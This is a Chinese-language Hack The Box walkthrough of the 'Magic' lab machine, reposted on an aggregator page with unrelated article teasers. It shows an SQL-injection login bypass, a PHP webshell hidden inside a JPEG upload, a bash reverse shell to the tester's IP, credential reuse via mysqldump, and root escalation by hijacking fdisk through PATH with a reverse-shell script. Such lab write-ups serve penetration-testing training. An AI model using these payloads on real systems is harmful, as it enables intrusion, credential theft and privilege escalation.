【Hack The Box】linux练习-- Magic

news2024/11/30 0:46:49

HTB 学习笔记

【Hack The Box】linux练习-- Magic


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月21日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • 文件上传
    • 图片注入
        • mysqldump的使用
    • 提权
        • 内核提权
        • 信息枚举
    • 环境变量挟持一个

在这里插入图片描述

信息收集

2/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

页面左下角存在一个登录界面

在这里插入图片描述在这里插入图片描述而在这里我们没有任何的弱口令,所以接下来我开始爆破目录
希望能从之后的目录中得到一些启示

gobuster dir -u http://10.129.17.255/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -x php

得到结果如下

/images (Status: 301)
/index.php (Status: 200)
/login.php (Status: 200)
/assets (Status: 301)
/upload.php (Status: 302)
/logout.php (Status: 302)
/server-status (Status: 403)

我将对images深入扫描
因为跟图片相关,并且他是403
我想这个目录于我而言是必须的

在目录爆破的同时我尝试对登陆框进行sql注入
首先尝试了账号密码均为admin' or 1=1
依旧说用户名或者密码错误‘
但是当我用户名输入admin,密码输入’时候,没有密码错误提示
说明此处存在sql注入
我将按照
https://book.hacktricks.xyz/pentesting-web/login-bypass/sql-login-bypass
进行尝试
最终,当我的用户是下面这的的时候我成功了
' or 1=1-- -

文件上传

直接上传不行
在这里插入图片描述bp抓包修改也不行
加gig头部也行
双后缀似乎可以
因为它显示了不一样的东西,问我想要在这里做什么
这说明我可能是找到了正确的路?

在这里插入图片描述
不过我刚才抓包发现我上传的文件都被作为请求数据发过去的

所以应该还是不行

我上传了一个图片,发现成功是这样的,左上角会提示,只有也就证明了我上传的后门文件被检验了
而说明我刚才的后门没有上传成功
在这里插入图片描述
至此我开始思考,我该如何应对
首先,常见的三种过滤如下

文件扩展名阻止/允许列表;
文件的mimetype 或 Magic bytes 必须与允许的类型相匹配;
Content-Type图像上的标题必须是图像。

第一种我们可以用双后缀绕过
对于后两种,我们可以用图片注入的方法

图片注入

首先我们要搞一张正常的图片
直接vi打开图片

<?php system($_GET[‘cmd’]); ?>

然后随表找个地方插入一段
改个名
同时我们刚才深层爆破image目录也发现了他下面的uploads文件夹,我们的图片就在这其中应该
尝试访问并传入参数cmd=id
全文搜索一下uid,找到了,说明rce成功
接下来url编码随便一个反弹shell命令即可

在这里插入图片描述在这里插入图片描述应该是被清理掉了

结果404了,我再次尝试一次,这次我会快速操作
需要你自己进行url编码,防止出错

http://10.129.17.255/images/uploads/haha.php.jpeg?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.14.29/8888%200%3E%261%27

在这里插入图片描述
在/home中我发现了另一个用户theseus
并且我无法看到user.txt
所以我将努力获得theseus的权限
在这里插入图片描述
所以我作为www用户,我将在我的magic建站目录下仔细枚举,正如上面的
我发现了很多php文件,我将cat他们,看看有没有泄漏的信息
在这里插入图片描述他们都是www权限,所以我将暂不考虑他们所带来的命令执行,只希望在它们之中获得凭据
在这里插入图片描述
发现信息

private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';

我将尝试密码复用

在这里插入图片描述
失败,那就只能老老实实去数据库了
我将查看数据库的开放情况
netstat -ntulp

在这里插入图片描述
在这里插入图片描述
他的本地没有mysql的执行文件

于是我输入mysql[tab][tab]

会显示出mysql的所有可用工具

mysql
mysql_config_editor mysqld
mysql_embedded mysqld_multi
mysql_install_db mysqld_safe
mysql_plugin mysqldump
mysql_secure_installation mysqldumpslow
mysql_ssl_rsa_setup mysqlimport
mysql_tzinfo_to_sql mysqloptimize
mysql_upgrade mysqlpump
mysqladmin mysqlrepair
mysqlanalyze mysqlreport
mysqlbinlog mysqlshow
mysqlcheck mysqlslap
我发现了mysqldump

mysqldump的使用

mysqldump --user=theseus --password=iamkingtheseus --host=localhost Magic

而后在所有信息中,我们看到了admin
还有一个密码,我将再次尝试密码复用
这一次成功了
在这里插入图片描述
在这里插入图片描述

提权

内核提权

[+] [CVE-2021-3156] sudo Baron Samedit

[+] [CVE-2021-3156] sudo Baron Samedit 2

找到两个,没有高可能,暂时不考虑

信息枚举

在这里插入图片描述正常的开放631没有什么特殊服务
在这里插入图片描述find / -user root -perm -4000 2>/dev/null -ls

发现了user用户可以执行的并且是root权限的二进制文件
在这里插入图片描述
执行看一下
在这里插入图片描述
sysinfo打印出一堆调用
我将用ltrace来看看他具体调用了那些函数

我发现了一个popen打开了fdisk
并且fdisk没有绝对路径,我将挟持fdisk
在这里插入图片描述

环境变量挟持一个

原理就是在当前目录写一个名字相同的二进制文件,但是里面输入的是反弹shell命令,然后将当前目录添加到环境变量,然后在当前目录执行脚本,就会调用你自己写的命令

echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.29/443 0>&1' > fdisk

在这里插入图片描述
而后cjmod +x fdisk
本地开个端口,然后执行一下
检验一下能否正常运行在这里插入图片描述

export PATH=/tmp:$PATH
echo $PATH

确实写进去了
在这里插入图片描述
在这里插入图片描述
ok

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/41355.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Js逆向教程17-极验滑块 实现加密算法的逻辑

Js逆向教程17-极验滑块 实现加密算法的逻辑 还是和上节课一样&#xff0c;针对这个网址 https://www.geetest.com/demo/slide-float.html 一、加密算法的结果查看 计算u运行后的结果&#xff1a; a45a0551c344b03be428cab551f9755f073e64061c35988a29d6ba70e7d35c8b9e963b63…

全波形反演的深度学习方法: 第二章 正演 (草稿)

本章介绍正演的基础知识. 本贴的目的是进行内部培训, 错误之处较多, 希望不要误导读者. 2.1 弦线波动基本原理 波动方程是正演的基础. 最简单的模型是在一根弦上的波动, 假设如下: 横震动. 例如拨动吉他弦;微小震动. 满足 u(xΔx,t)−u(x,t)≪Δxu(x \Delta x, t) - u(x, t…

Redis学习(三)之 分布式锁详解

1、redis分布式锁相关的可以移步这篇文章redis做分布式锁实战案例详解_酒书的博客-CSDN博客 这里是对该篇文章的加深与补充 2.集群主从切换导致锁丢失问题&#xff1a;在redis主从架构中&#xff0c;写入都是写入到主redis中&#xff0c;主redis会同步数据到slave机器&#x…

Mybatis插件机制

什么是插件机制 插件插件&#xff0c; 就是能在执行某个方法之前加入一些功能代码&#xff0c; 有啥方法能够实现呢&#xff1f;当然是动态代理了&#xff0c; 为啥要使用动态代理应为他是为了写框架扩展性必备的东西。 只要定义一些接口 或者类 就行使用jdk自带的或者CGLIB之…

分布式NoSQL数据库HBase实践与原理剖析(二)

title: HBase系列 第五章 HBase核心原理 5.1 系统架构 注意&#xff0c;其实上图中的HLog应该在HRegionServer里面&#xff0c;而不是在HRegion里面。所以图有点点问题。其实通过后面的物理存储的图也能发现这个问题。 Client 职责 1、HBase 有两张特殊表&#xff1a; .meta.…

力扣 21. 合并两个有序链表 C语言实现

题目描述&#xff1a; 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 题目链接 方法1&#xff1a;遍历 新建一个链表 newList 用于存放合并后的链表&#xff0c;设置一个指针指向该链表最后一个位置的 next&#xff0c…

77.【JavaWeb文件上传和邮件发送04】

JavaWeb(二十五)、文件上传1.准备工作2.实用类介绍3.思维导图:4.正戏开始5.完整代码(二十六)、邮箱发送1.邮箱发送的原理:2.服务器的原理3.下载两个jar包4.基本类:5.全部代码(二十七)、网站注册发送邮件实现(二十五)、文件上传 1.首先创建一个empty项目 2.配置project项目中的…

【JVM】jvm中的栈简介

jvm中的栈简介一、JVM体系结构二、栈是什么&#xff1f;三、栈的特性四、栈帧五、栈的运行原理5.1 运行原理5.2 代码示例5.2.1 方法的入栈和出栈5.2.2 没有捕获异常5.2.3 捕获异常六、栈帧的内部结构七、运行时数据区&#xff0c;哪些部分存在Error和GC&#xff1f;八、本文源码…

boot 创建 https

需要在配置文件中&#xff1a;加入 server:ssl:key-store: classpath:https.keystorekey-store-type: JKSkey-alias: tomcatkey-password: 123456key-store-password: 123456port: 8089 这样原本请求的http&#xff0c;就需要变成https&#xff0c;其他类似 RestController p…

深度学习入门(五十六)循环神经网络——循环神经网络RNN

深度学习入门&#xff08;五十六&#xff09;循环神经网络——循环神经网络RNN前言循环神经网络——循环神经网络RNN课件潜变量自回归模型循环神经网络使用循环神经网络的语言模型困惑度&#xff08;perplexity&#xff09;梯度裁剪更多的应用RNNs总结教材1 无隐状态的神经网络…

周赛总结--LeetCode单周赛321场 AcWing79场

1. LeetCode单周赛321场 1.1 找出中枢整数 1.1.1 原题链接&#xff1a;力扣https://leetcode.cn/problems/find-the-pivot-integer/ 1.1.2 解题思路&#xff1a; 1、先保存 1-n 的和sum&#xff1b; 2、从 1 开始枚举&#xff0c;判断前 i 项和 cmp 与 sum - cmp i 是否相等…

MySQL第二弹

目录​​​​​​​ 一、数据库基本操作 1、查看数据库信息 2、查看数据库中的表信息 3、显示数据表的结构&#xff08;字段&#xff09; 4、常见的数据类型 4.1 数值类型 4.2 日期和时间类型 4.3 字符串类型 二、SQL语言概述 1、SQL语言 2、SQL分类 2.1 DDL:数据定…

【强化学习论文合集】NeurIPS-2021 强化学习论文

强化学习&#xff08;Reinforcement Learning, RL&#xff09;&#xff0c;又称再励学习、评价学习或增强学习&#xff0c;是机器学习的范式和方法论之一&#xff0c;用于描述和解决智能体&#xff08;agent&#xff09;在与环境的交互过程中通过学习策略以达成回报最大化或实现…

js——高阶函数、闭包、递归以及浅拷贝和深拷贝

目录 一、高阶函数 1、什么是高阶函数 2、把一个函数作为参数 3、return 返回的也是一个函数 二、闭包 1、闭包是什么 2、变量的作用域 3、案例 4、结果展示&#xff1a; 5、总结&#xff1a; 三、递归 1、什么是递归 2、案例一 3、分析 4、问题 5、栈溢出又是什…

【Unity Shader​】 屏幕后处理5.0:讨论双重模糊的Bloom

接上一篇基于高斯模糊的Bloom继续进行接下来的学习。 1 一些必要的思考* 1.1 关于高质量Bloom 前面提到了&#xff0c;Bloom对于游戏必不可少的效果之一&#xff0c;于是我们不仅仅要把Bloom效果实现出来&#xff0c;效果的质量好坏就更加是我们需要关注的点了。高质量泛光&a…

面试宝典之C++多态灵魂拷问

&#x1f9f8;&#x1f9f8;&#x1f9f8;各位大佬大家好&#xff0c;我是猪皮兄弟&#x1f9f8;&#x1f9f8;&#x1f9f8; 文章目录一、重载&#xff0c;隐藏/重定义&#xff0c;覆盖/重写二、多态的原理三、inline可以是虚函数吗四、静态成员函数可以是虚函数吗五、构造函…

海丝一号-中国-2020

2020年12月22日&#xff0c;由中国电科38所和天仪研究院联合研制的我国首颗商业SAR卫星“海丝一号”搭载长征八号运载火箭在文昌卫星发射中心成功发射。海丝一号历时一年完成研制&#xff0c;整星重量小于185kg&#xff0c;成像最高分辨率1m&#xff0c;可以全天时、全天候对陆…

章节5 文件与目录管理

5-Linux文件和目录管理 &#xff08;Linux操作系统-2022的前面章节都为铺垫&#xff09; 常见命令格式 Command Options Arguments 命令 选项 参数 rm -rf /* -一个字母或字母组合&#xff0c;此选项为短选项&#xff0c;–单词&#xff0c;此选项为长选项 Options选项&…

因果推断 | 双重差分法笔记补充

换了新的环境后&#xff0c;一直在适应&#xff08;其实是一直被推着走&#xff09;&#xff0c;所以停更了笔记好久啦。这一周周末终于有点得空&#xff0c;当然也是因为疫情&#xff0c;哪里都不能去&#xff0c;哈哈&#xff0c;所以来冒个泡~ 整理了最近pre的作业&#xf…

ESP32-CAM初始篇:Arduino环境搭建-->实现局域网推流

ESP32-CAM初始篇&#xff1a;Arduino环境搭建–>实现局域网推流 入手产品&#xff1a;安信可科技&#xff1a;ESP32-CAM摄像头开发板&#xff1a; 相关产品特性请访问安信可ESP32-CAM官网&#xff1a;https://docs.ai-thinker.com/esp32-cam 第一步&#xff1a;下载Ardui…